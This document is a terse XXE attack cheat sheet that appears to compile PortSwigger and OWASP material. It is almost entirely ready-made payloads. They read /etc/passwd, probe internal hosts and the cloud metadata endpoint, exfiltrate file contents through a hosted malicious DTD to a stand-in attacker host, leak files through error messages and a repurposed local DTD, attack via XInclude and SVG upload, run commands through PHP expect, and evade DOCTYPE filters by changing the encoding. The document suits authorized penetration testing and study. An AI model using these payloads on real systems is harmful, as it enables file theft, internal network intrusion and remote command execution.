Table of contents
How to find it
We need some XML interfacing..
What can you do with it?
retrieve files
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
ssrf attack
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<items><item>&xxe;</item></items>
or, attacking the cloud setup
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<items><item>&xxe;</item></items>
Blind
Use like ssrf, but with a burp collaborator location
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<items><item>&xxe;</item></items>
or by using XML parameters
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
Malicious DTD
(blind) Exfiltration using a malicious dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
host this on a controlled server:
http://web-attacker.com/malicious.dtd
Submit payload, loading the dtd, triggering the exfil:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
via error messages
malicious dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
The generated error will display the file contents (hopefully)
exploiting by repurposnig local DTD
- locate a dtd:
Enumerate the os used to find a dtd, example linux running gnome:
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]>
this will fail when missing.
- Have it trigger an error and dump a file to the error as desscribed above (error)
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
This repurposes the ISOamso entity to fail and dump the file
Xinclude attack
This works when the input is put in xml and then parsed. Try this when doctype element is not accessible
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE via file upload
svg is also xml: so create the following and upload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
modified content type
sometimes parameters may be offered in different content like:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
can be rewritten in xml like:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
src portswigger
Possible RCE when PHP expect is available:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
src owasp
Parsers
By default moet parses do not accept external doctypes.
Libxml
Unless the parser is setupt with the flags LIBXML_NOENT and LIBXML_DTDLOAD that bypass default security
src: PHP.net
encoding
Sometime there are filters before the DOM/XML loader the prohibit the DOCTYPE tag. These might be bypasseble by using a different encoding like utf-8 utf-16 utf-16be utf-32 utf-7 (not widely accepted though)
iconv -s utf-8 -t utf-16 payload.xml -o payload_16.xml
prevention
look here especially when source is available: owasp xxe prevention cheat sheet